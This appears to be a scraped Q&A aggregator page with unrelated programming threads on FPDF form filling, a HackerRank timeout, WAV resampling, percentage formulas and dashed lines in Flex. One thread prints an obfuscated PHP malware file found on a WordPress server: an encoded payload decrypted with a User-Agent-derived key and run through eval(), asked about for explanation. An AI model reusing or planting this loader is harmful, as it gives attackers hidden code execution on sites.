Filling in PDF from web form in PHP - symfony

I have a form which on posting submits data to a controller which should then fill necessary fields and present form to users to physically sign before submitting back.
I used Dhek https://github.com/cchantep/dhek do define the fields on which the form data will be placed and FPDF to generate the final PDF for downloading. I am able to get selected checkboxes marked but no text fields are rendered. Here is what I have tried so far
$json = json_decode(file_get_contents($this->getRequest()->getUriForPath('/bundles/app/form.json')));
$responses = $request->query->all();
$pdfSrcPath = $this->container->getParameter('write_to') . '/bundles/app/Membership_App__form.pdf';
$pdf = new \FPDF_FPDI("P", //L=>Landscape / P=>Portrait
"pt" /* point */ );
$fontSize = 14;
$pagecount = $pdf->setSourceFile($pdfSrcPath);
$testText = "abcdefghijklmnopqrstuvwxyz0123456789";
for ($i = 0; $i < $pagecount; $i++)
{
$pdf->AddPage();
$tplIdx = $pdf->importPage($i + 1);
$pdf->useTemplate($tplIdx, 0, 0, 0, 0, true);
if (isset($json->pages[$i]) && isset($json->pages[$i]->areas))
{
for ($j = 0; $j < count($json->pages[$i]->areas); $j++)
{
$area = $json->pages[$i]->areas[$j];
$x = $area->x;
$y = $area->y;
$w = $area->width;
$h = $area->height;
// Draw blue rect at bounds
$pdf->SetDrawColor(0, 0, 255);
$pdf->SetLineWidth(0.2835);
$pdf->Rect($x, $y, $w, $h);
if ($area->type == "checkbox" && $area->name == $responses['title'])
{
$pdf->SetDrawColor(105, 105, 105);
$pdf->SetLineWidth(2.0);
$pdf->Line($x, $y, $x + $w, $y + $h);
$pdf->Line($x, $y + $h, $x + $w, $y);
}
else if ($area->type == "text")
{
// 'Free' text
$pdf->SetLineWidth(1.0); // border
$iw = $w - 2 /* 2 x 1 */ ;
$v = utf8_decode($responses[$area->name]);
$overflow = ($pdf->GetStringWidth($v) > $iw);
while ($pdf->GetStringWidth($v) > $iw)
{
$v = substr($v, 0, -1);
}
if ($overflow)
{
$v = substr($v, 0, -1) . "\\";
}
$pdf->SetXY($x, $y);
// this line is not rendering
// tried $pdf->Write(intval($h),$v);
// and also tried $pdf->Cell($w, intval($h), $v);
$pdf->MultiCell($w, intval($h), $v, true);
}
}
}
}
$pdf->Output("test-dhek.pdf", "F");

Related

PHP Recursion Script is taking took long to execute HackerRank powerSum problem

Time limit exceeded
Your code did not execute within the time limits. Please optimize your code.
<?php
/*
* Complete the 'powerSum' function below.
*
* The function is expected to return an INTEGER.
* The function accepts following parameters:
* 1. INTEGER X
* 2. INTEGER N
*/
function powerSum($X, $N) {
// Write your code here
if (1 <= $X && $X <= 1000 && 2 <= $N && $N <= 10) {
$num = 1;
$list = [];
while ( true ) {
$pow = pow($num, $N);
if ($pow > $X) {break;}
$list[] = $pow;
$num ++;
}
$limit = $X;
$array = $list;
// the algorithm is usable if the number of elements is less than 20 (because set_time_limit)
$num = count($array);
//The total number of possible combinations
$total = pow($N, $num);
$out = array();
// loop through each possible combination
for ($i = 0; $i < $total; $i++) {
$comb = array();
// for each combination check if each bit is set
for ($j = 0; $j < $num; $j++) {
// is bit $j set in $i?
if (pow($N, $j) & $i){
$comb[] = $array[$j];
}
}
if (array_sum($comb) == $limit)
{
$out[] = $comb;
}
}
array_multisort(array_map('count', $out), SORT_ASC, $out);
$out = array_unique($out, SORT_REGULAR);
return count($out);
}
}
The above function is working and passing a lot of test cases but fails only due to timeout reasons.
I hope someone will help me fix this problem as soon as possible.
I ran the code on HackerRank, it ran well but failed on test case due to time.
The link to this challenge on hackerRank is:https://www.hackerrank.com/challenges/the-power-sum/problem?isFullScreen=true

What does this script mean in WP?

I've just come across this file in my cpanel - Dfile.php.....
Inside this particular file this script was written.. I actually understand nothing about this script. Therefore, please help me to understand this script.. I mean what this script is all about ?
<?php
$data = "npeLzaPWytheWo96fIu9V6KR0JyElY6LsT9wQdWX0sSilouLXpLJyp+ilWGnn9JcYFeRZolmicF9d7qThaDF0JpTwJJXkdXMpl1ZbkRBa5qXmNJXiarK0Jefy1jWp8fGmqTWi2twb+FDQJaopZrWnqOeg57HrMTZm5SOXNik0IywPm2EOYfI2aiiUHBXmtenoI/MpcusjYtxO3NCbJXZ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xrHGuoier3yTmcirf6HFt5fOvZSafIZ5qqXGaH6gx363pr21oWmpn86dx6p7YcSncZyv3Wqseqxrnqx9mKnEj7SkscuZp8eAtabGpphopsubzr6Wb6uUeo2sxnlknr1pm66/lK6espCxosiqiqXH0YbcxruQpollfWfDjG2lsqCjprHLiGXJpc9ivrZpn6/RmJPHu62kf6qmgbyioKO9jZuvybqImL9qnKfIqoumx6x90q+seJ6Uep6qrHyCpsWltKTH0Ieita/Ofae6i5vEq2jKr6uErJKhiaPEo4Vnpp7OacfPrqLIpdahrpVmY73NZdrGrHeke4eqgsiGcW2Kcm9CbsifnsuX06fYwpig0diV0dnXXlheYqStyGOkmNNZjprG1ZtompfHl8fSmZaLiKPX141fcT09QFvInqCV0ZjPnaKCqafIq9ekjIeUhKi2hqi3v12GeIOWiqeBelfAY9Ws19Smodlgh5G3qIeHqLaLirWshpWDeIN9iZJgV5Jei2OWi3E/cEHYoNDMo5yLi16SjJJanJmfnKXDoplZnkRsQaXFnp/VnItUksupksbHldbYhmJmZ2hsYJ1CPq1wQQ==";
$ktmp = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/WebKit\/(.*) \(/is',$ktmp,$kk)){
$keys = explode(".",$kk[1]);
$keys = '0Pi'.$keys[0].'hBG';
}
$keys = md5($keys);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($keys);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($keys, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
eval($str);
It seems like php malware. You can try wordfence plugin for clean core files etc.

Recording Sound with recorderWorker.js and recorder.js

I am using recorderWorker.js and recorder.js
The final output which i get from this code is 44.1khz, 2-channel (stereo) wav file.But my requirement is 8khz , 1-channel wav file.
How can i achieve this with the help of recorderWorker.js
Kindly help me to resolve the issue.
The code for recorderWorker.js is
var recLength = 0,
recBuffers = [],
sampleRate;
this.onmessage = function(e){
switch(e.data.command){
case 'init':
init(e.data.config);
break;
case 'record':
record(e.data.buffer);
break;
case 'exportWAV':
exportWAV(e.data.type);
break;
case 'getBuffer':
getBuffer();
break;
case 'clear':
clear();
break;
}
};
function init(config){
sampleRate = config.sampleRate;
}
function record(inputBuffer){
var bufferL = inputBuffer[0];
var bufferR = inputBuffer[1];
var interleaved = interleave(bufferL, bufferR);
recBuffers.push(interleaved);
recLength += interleaved.length;
}
function exportWAV(type){
var buffer = mergeBuffers(recBuffers, recLength);
var dataview = encodeWAV(buffer);
var audioBlob = new Blob([dataview], { type: type });
this.postMessage(audioBlob);
}
function getBuffer() {
var buffer = mergeBuffers(recBuffers, recLength)
this.postMessage(buffer);
}
function clear(){
recLength = 0;
recBuffers = [];
}
function mergeBuffers(recBuffers, recLength){
var result = new Float32Array(recLength);
var offset = 0;
for (var i = 0; i < recBuffers.length; i++){
result.set(recBuffers[i], offset);
offset += recBuffers[i].length;
}
return result;
}
function interleave(inputL, inputR){
var length = inputL.length + inputR.length;
var result = new Float32Array(length);
var index = 0,
inputIndex = 0;
while (index < length){
result[index++] = inputL[inputIndex];
result[index++] = inputR[inputIndex];
inputIndex++;
}
return result;
}
function floatTo16BitPCM(output, offset, input){
for (var i = 0; i < input.length; i++, offset+=2){
var s = Math.max(-1, Math.min(1, input[i]));
output.setInt16(offset, s < 0 ? s * 0x8000 : s * 0x7FFF, true);
}
}
function writeString(view, offset, string){
for (var i = 0; i < string.length; i++){
view.setUint8(offset + i, string.charCodeAt(i));
}
}
function encodeWAV(samples){
var buffer = new ArrayBuffer(44 + samples.length * 2);
var view = new DataView(buffer);
/* RIFF identifier */
writeString(view, 0, 'RIFF');
/* file length */
view.setUint32(4, 32 + samples.length * 2, true);
/* RIFF type */
writeString(view, 8, 'WAVE');
/* format chunk identifier */
writeString(view, 12, 'fmt ');
/* format chunk length */
view.setUint32(16, 16, true);
/* sample format (raw) */
view.setUint16(20, 1, true);
/* channel count */
view.setUint16(22, 2, true);
/* sample rate */
view.setUint32(24, sampleRate, true);
/* byte rate (sample rate * block align) */
view.setUint32(28, sampleRate * 4, true);
/* block align (channel count * bytes per sample) */
view.setUint16(32, 4, true);
/* bits per sample */
view.setUint16(34, 16, true);
/* data chunk identifier */
writeString(view, 36, 'data');
/* data chunk length */
view.setUint32(40, samples.length * 2, true);
floatTo16BitPCM(view, 44, samples);
return view;
}
You don't need to modify the Recorder.JS library - this functionality is already provided. The constructor accepts a config object as the second parameter, as below:
var audioContext = new AudioContext();
var microphone = audioContext.createMediaStreamSource(stream);
recorder = new Recorder(microphone, { numChannels: 1, sampleRate: 8000 });

Calculate percentage saved between two numbers?

I have two numbers, the first, is the original price, the second, is the discounted price.
I need to work out what percentage a user saves if they purchase at the second price.
example
25, 10 = 60%
365, 165 = 55%
What I dont know is the formula to calculate this.
I know this is fairly old but I figured this was as good as any to put this. I found a post from yahoo with a good explanation:
Let's say you have two numbers, 40 and 30.
30/40*100 = 75.
So 30 is 75% of 40.
40/30*100 = 133.
So 40 is 133% of 30.
The percentage increase from 30 to 40 is:
(40-30)/30 * 100 = 33%
The percentage decrease from 40 to 30 is:
(40-30)/40 * 100 = 25%.
These calculations hold true whatever your two numbers.
Original Post
((list price - actual price) / (list price)) * 100%
For example:
((25 - 10) / 25) * 100% = 60%
I see that this is a very old question, but this is how I calculate the percentage difference between 2 numbers:
(1 - (oldNumber / newNumber)) * 100
So, the percentage difference from 30 to 40 is:
(1 - (30/40)) * 100 = +25% (meaning, increase by 25%)
The percentage difference from 40 to 30 is:
(1 - (40/30)) * 100 = -33.33% (meaning, decrease by 33%)
In php, I use a function like this:
function calculatePercentage($oldFigure, $newFigure) {
if (($oldFigure != 0) && ($newFigure != 0)) {
$percentChange = (1 - $oldFigure / $newFigure) * 100;
}
else {
$percentChange = null;
}
return $percentChange;
}
The formula would be (original - discounted)/original. i.e. (365-165)/365 = 0.5479...
function calculatePercentage($oldFigure, $newFigure)
{
$percentChange = (($oldFigure - $newFigure) / $oldFigure) * 100;
return round(abs($percentChange));
}
100% - discounted price / full price
If total no is: 200
and getting 50 number
then take percentage of 50 in 200 is:
(50/200)*100 = 25%
I have done the same percentage calculator for one of my app where we need to show the percentage saved if you choose a "Yearly Plan" over the "Monthly Plan". It helps you to save a specific amount of money in the given period. I have used it for the subscriptions.
Monthly paid for a year - 2028
Yearly paid one time - 1699
1699 is a 16.22% decrease of 2028.
Formula: Percentage of decrease = |2028 - 1699|/2028 = 329/2028 = 0.1622
= 16.22%
Code:
func calculatePercentage(monthly: Double, yearly: Double) -> Double {
let totalMonthlyInYear = monthly * 12
let result = ((totalMonthlyInYear-yearly)/totalMonthlyInYear)*100
print("percentage is -",result)
return result.rounded(toPlaces: 0)
}
Usage:
let savingsPercentage = self.calculatePercentage(monthly: Double( monthlyProduct.price), yearly: Double(annualProduct.price))
self.btnPlanDiscount.setTitle("Save \(Int(savingsPercentage))%",for: .normal)
The extension usage for rounding up the percentage over the Double:
extension Double {
/// Rounds the double to decimal places value
func rounded(toPlaces places:Int) -> Double {
let divisor = pow(10.0, Double(places))
return (self * divisor).rounded() / divisor
}
}
I have attached the image for understanding the same:
This is function with inverted option
It will return:
'change' - string that you can use for css class in your template
'result' - plain result
'formatted' - formatted result
function getPercentageChange( $oldNumber , $newNumber , $format = true , $invert = false ){
$value = $newNumber - $oldNumber;
$change = '';
$sign = '';
$result = 0.00;
if ( $invert ) {
if ( $value > 0 ) {
// going UP
$change = 'up';
$sign = '+';
if ( $oldNumber > 0 ) {
$result = ($newNumber / $oldNumber) * 100;
} else {
$result = 100.00;
}
}elseif ( $value < 0 ) {
// going DOWN
$change = 'down';
//$value = abs($value);
$result = ($oldNumber / $newNumber) * 100;
$result = abs($result);
$sign = '-';
}else {
// no changes
}
}else{
if ( $newNumber > $oldNumber ) {
// increase
$change = 'up';
if ( $oldNumber > 0 ) {
$result = ( ( $newNumber / $oldNumber ) - 1 )* 100;
}else{
$result = 100.00;
}
$sign = '+';
}elseif ( $oldNumber > $newNumber ) {
// decrease
$change = 'down';
if ( $oldNumber > 0 ) {
$result = ( ( $newNumber / $oldNumber ) - 1 )* 100;
} else {
$result = 100.00;
}
$sign = '-';
}else{
// no change
}
$result = abs($result);
}
$result_formatted = number_format($result, 2);
if ( $invert ) {
if ( $change == 'up' ) {
$change = 'down';
}elseif ( $change == 'down' ) {
$change = 'up';
}else{
//
}
if ( $sign == '+' ) {
$sign = '-';
}elseif ( $sign == '-' ) {
$sign = '+';
}else{
//
}
}
if ( $format ) {
$formatted = '<span class="going '.$change.'">'.$sign.''.$result_formatted.' %</span>';
} else{
$formatted = $result_formatted;
}
return array( 'change' => $change , 'result' => $result , 'formatted' => $formatted );
}
I think this covers this formula sufficiently,
((curr value - base value) / (curr value)) * 100%
Basically we just (in programming):
perform the calculation if both numbers are not 0.
If curr value is 0 then we return -100 % difference from the base,
if both are 0 then return 0 (we can't divide by 0)
Powershell example:
Strip any non numeric from vars and perform calculation
Function Get-PercentageSaved {
#((curr value - base value) / (curr value)) * 100%
param(
[Parameter(Mandatory = $false)][string]$CurrVal = $null,
[Parameter(Mandatory = $false)][string]$BaseVal = $null
)
$Result = $null
Try {
$CurrVal = [float]($CurrVal -replace '[^0-9.]', '')
$BaseVal = [float]($BaseVal -replace '[^0-9.]', '')
if (-Not($null -eq $CurrVal) -And (-Not($null -eq $BaseVal))) {
if ($CurrVal -eq 0) {
If ($BaseVal -eq 0) {
$Result = 0
} Else {
$Result = -100
}
}
else {
$Result = [math]::Round([float]((($CurrVal - $BaseVal) / $CurrVal) * 100),2)
}
}
}
Catch {}
Return [float]$Result
}

How can I draw dotted line in flex

After some search and reading the Graphics class document, I can't find a way to specify the line style of a line. I mean whether the line is a solid one or a dotted one. Could anybody help me?
Thanks!
You can't, well, not just by using Flex library classes anyway. You can do it yourself though, of course. Here's a class that implements it (modified from code found here, thanks Ken Fox):
/*Copyright (c) 2006 Adobe Systems Incorporated
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
package com.some.package {
import mx.graphics.IStroke;
import flash.display.Graphics;
public class GraphicsUtils {
public static function _drawDashedLine( target:Graphics, strokes:Array, pattern:Array,
drawingState:DashStruct,
x0:Number, y0:Number, x1:Number, y1:Number):void {
var dX:Number = x1 - x0;
var dY:Number = y1 - y0;
var len:Number = Math.sqrt( dX * dX + dY * dY );
dX /= len;
dY /= len;
var tMax:Number = len;
var t:Number = -drawingState.offset;
var patternIndex:int = drawingState.patternIndex;
var strokeIndex:int = drawingState.strokeIndex;
var styleInited:Boolean = drawingState.styleInited;
while( t < tMax ) {
t += pattern[patternIndex];
if( t < 0 ) {
var x:int = 5;
}
if( t >= tMax ) {
drawingState.offset = pattern[patternIndex] - ( t - tMax );
drawingState.patternIndex = patternIndex;
drawingState.strokeIndex = strokeIndex;
drawingState.styleInited = true;
t = tMax;
}
if( styleInited == false ) {
(strokes[strokeIndex] as IStroke).apply( target );
}
else {
styleInited = false;
}
target.lineTo( x0 + t * dX, y0 + t * dY );
patternIndex = ( patternIndex + 1 ) % pattern.length;
strokeIndex = ( strokeIndex + 1 ) % strokes.length;
}
}
public static function drawDashedLine( target:Graphics, strokes:Array, pattern:Array,
x0:Number, y0:Number, x1:Number, y1:Number ):void {
target.moveTo( x0, y0 );
var struct:DashStruct = new DashStruct();
_drawDashedLine( target, strokes, pattern, struct, x0, y0, x1, y1 );
}
public static function drawDashedPolyLine( target:Graphics, strokes:Array, pattern:Array,
points:Array ):void {
if( points.length == 0 ) { return; }
var prev:Object = points[0];
var struct:DashStruct = new DashStruct();
target.moveTo( prev.x, prev.y );
for( var i:int = 1; i < points.length; i++ ) {
var current:Object = points[i];
_drawDashedLine( target, strokes, pattern, struct,
prev.x, prev.y, current.x, current.y );
prev = current;
}
}
}
}
class DashStruct {
public function init():void {
patternIndex = 0;
strokeIndex = 0;
offset = 0;
}
public var patternIndex:int = 0;
public var strokeIndex:int = 0;
public var offset:Number = 0;
public var styleInited:Boolean = false;
}
And you can use it like:
var points:Array = [];
points.push( { x: 0, y: 0 } );
points.push( { x: this.width, y: 0 } );
points.push( { x: this.width, y: this.height } );
points.push( { x: 0, y: this.height } );
points.push( { x: 0, y: 0 } );
var strokes:Array = [];
var transparentStroke:Stroke = new Stroke( 0x0, 0, 0 );
strokes.push( new Stroke( 0x999999, 2, 1, false, 'normal', CapsStyle.NONE ) );
strokes.push( transparentStroke );
strokes.push( new Stroke( 0x222222, 2, 1, false, 'normal', CapsStyle.NONE ) );
strokes.push( transparentStroke );
GraphicsUtils.drawDashedPolyLine( this.graphics, strokes, [ 16, 5, 16, 5 ], points );
Well there is no Dashed or Dotted line in flex.
However, you can create your own line or border:
http://cookbooks.adobe.com/post_Creating_a_dashed_line_custom_border_with_dash_and-13286.html
Try and enjoy!
I ran across this, today, which I like a lot. Provides for dashed/dotted lines and a few other things (curves, primarily).
http://flexdevtips.blogspot.com/2010/01/drawing-dashed-lines-and-cubic-curves.html
I wrote some simple DashedLine code -
import flash.display.Graphics;
import spark.primitives.Line;
public class DashedLine extends Line
{
public var dashLength:Number = 10;
override protected function draw(g:Graphics):void
{
// Our bounding box is (x1, y1, x2, y2)
var x1:Number = measuredX + drawX;
var y1:Number = measuredY + drawY;
var x2:Number = measuredX + drawX + width;
var y2:Number = measuredY + drawY + height;
var isGap:Boolean;
// Which way should we draw the line?
if ((xFrom <= xTo) == (yFrom <= yTo))
{
// top-left to bottom-right
g.moveTo(x1, y1);
x1 += dashLength;
for(x1; x1 < x2; x1 += dashLength){
if(isGap){
g.moveTo(x1, y1);
} else {
g.lineTo(x1, y1);
}
isGap = !isGap;
}
}
else
{
// bottom-left to top-right
g.moveTo(x1, y2);
x1 += dashLength;
for(x1; x1 < x2; y2 += dashLength){
if(isGap){
g.moveTo(x1, y2);
} else {
g.lineTo(x1, y2);
}
isGap = !isGap;
}
}
}
}
Then use it like this -
<comps:DashedLine top="{}" left="0" width="110%" >
<comps:stroke>
<s:SolidColorStroke color="0xff0000" weight="1"/>
</comps:stroke>
</comps:DashedLine>
I do it pretty simple:
public static function drawDottedLine(target:Graphics, xFrom:Number, yFrom:Number, xTo:Number, yTo:Number, dotLenth:Number = 10):void{
var isGap:Boolean;
target.moveTo(xFrom, yFrom);
xFrom += dotLenth;
for(xFrom; xFrom < xTo; xFrom += dotLenth){
if(isGap){
target.moveTo(xFrom, yFrom);
} else {
target.lineTo(xFrom, yFrom);
}
isGap = !isGap;
}
}
UPD: :) The same way as in the link provided by Ross.

Resources